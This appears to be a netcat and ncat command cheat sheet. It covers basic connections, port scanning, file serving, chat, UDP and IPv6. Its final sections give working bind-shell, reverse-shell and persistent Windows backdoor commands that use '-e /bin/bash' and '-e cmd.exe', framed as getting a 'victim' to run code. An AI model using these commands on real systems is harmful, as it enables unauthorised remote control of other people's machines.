Netcat usage:

Before moving on I first want to discuss that there are differnet versions of netcat out there, so please do yourself a favor a find out which version you are using.

{OpenBSD netcat (Debian patchlevel 1.105-7ubuntu1) for these commands}

Basic Connect:

nc [Target IP] [Target Port]

Be Verbose / More Verbose / Most Verbose:

nc -v [Target IP] [Target Port]
nc -vv [Target IP] [Target Port]
nc -vvv [Target IP] [Target Port]

Listen for Incomming Connection:

nc -l [Listen Port]

Port Scanning (-w is for timeout / -z is used for scanning:

nc -v -w 1 [Target IP] -z 1-1000

Serve up a file –

From serving machine set up a server:

nc -l [Listen Port] < /path/file.txt

From Client machine( -w Time out for connections):

nc -w 1 [Target IP] [Target Port] | cat

Simple Chat Server/Client –
From Server Machine:

nc -lp [Listen Port]
Welcome to my Server!

From Client Machine:

nc [Server IP] [Server Port]
Hello

UDP Ports ( -u for UDP mode) –

UDP Server:

nc -v -ul [Listen UDP Port]

UDP Connect:

nc [Target IP] -u [Target UDP Port]

IPv6:

nc -6 [Target IP] [Target Port]

Listen even if Client Disconnects( -k Stay up):

nc -k -l [Listen Port]

{Ncat 6.00 ( http://nmap.org/ncat )}

ECHO Server( -c is used to start an echo server):

ncat -v -l [Listen Port] -c ‘while true; do read i && echo [echo] $i; done’

Remote Shell/Backdoor ( -e execute a file):

ncat -v -l [Listen Port] -e [/path/to/file] – ex: /bin/bash

Send a Reverse-Shell/Backdoor-

From “Attacker Machine”:

ncat -v -l [Listen Port]

Victim Machine – (Get the Victim to excute code):

ncat [Attack Machine IP] [Attack Machine Port] -e /bin/bash

From Attacker Machine(Run your commands): ls

{Windows Netcat}

Detatched CMD Prompt with Persist( -L “Listen Harder”, wait for connections / -d Detact from process that is run):

nc -L [Listen Port] -d -e cmd.exe